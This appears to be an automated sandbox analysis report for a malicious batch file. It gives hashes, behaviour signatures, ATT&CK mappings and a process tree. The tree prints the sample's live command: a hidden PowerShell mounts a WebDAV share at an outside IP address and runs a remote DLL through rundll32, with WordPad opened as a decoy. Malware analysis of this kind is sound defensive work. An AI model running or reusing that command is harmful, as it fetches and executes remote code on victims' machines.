a847964b026d52acba8e71b0d71e47dd861d50b632527f839597aff9f2d4199a

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 08:33

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General

Target

28616195941126932125.bat
Size

2KB
MD5

b41047fe8d119c6791306006dd14b9e5
SHA1

7174ac845d217f6eede3f5ef24ee69365f953769
SHA256

a847964b026d52acba8e71b0d71e47dd861d50b632527f839597aff9f2d4199a
SHA512

a8714b923a51d0635e31e70289feaa72eb36f755cc5c685c71b8c10dde16faece5fab7000b6c18a4ad74a25beb71a1c8d10c9f475d1a1d6f9c40c5fe290cf1d4

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2324	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2324	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1836	wordpad.exe
1836	wordpad.exe
1836	wordpad.exe
1836	wordpad.exe
1836	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1016 wrote to memory of 1836	1016	cmd.exe	32
PID 1016 wrote to memory of 1836	1016	cmd.exe	32
PID 1016 wrote to memory of 1836	1016	cmd.exe	32
PID 1016 wrote to memory of 2324	1016	cmd.exe	33
PID 1016 wrote to memory of 2324	1016	cmd.exe	33
PID 1016 wrote to memory of 2324	1016	cmd.exe	33
PID 2324 wrote to memory of 2732	2324	powershell.exe	35
PID 2324 wrote to memory of 2732	2324	powershell.exe	35
PID 2324 wrote to memory of 2732	2324	powershell.exe	35
PID 2324 wrote to memory of 2760	2324	powershell.exe	36
PID 2324 wrote to memory of 2760	2324	powershell.exe	36
PID 2324 wrote to memory of 2760	2324	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\28616195941126932125.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1487.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2732
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1487.dll entry
    3⤵
    PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2324-23-0x00000000029F0000-0x00000000029F8000-memory.dmp

Filesize
32KB

Download
memory/2324-22-0x000000001B480000-0x000000001B762000-memory.dmp

Filesize
2.9MB

Download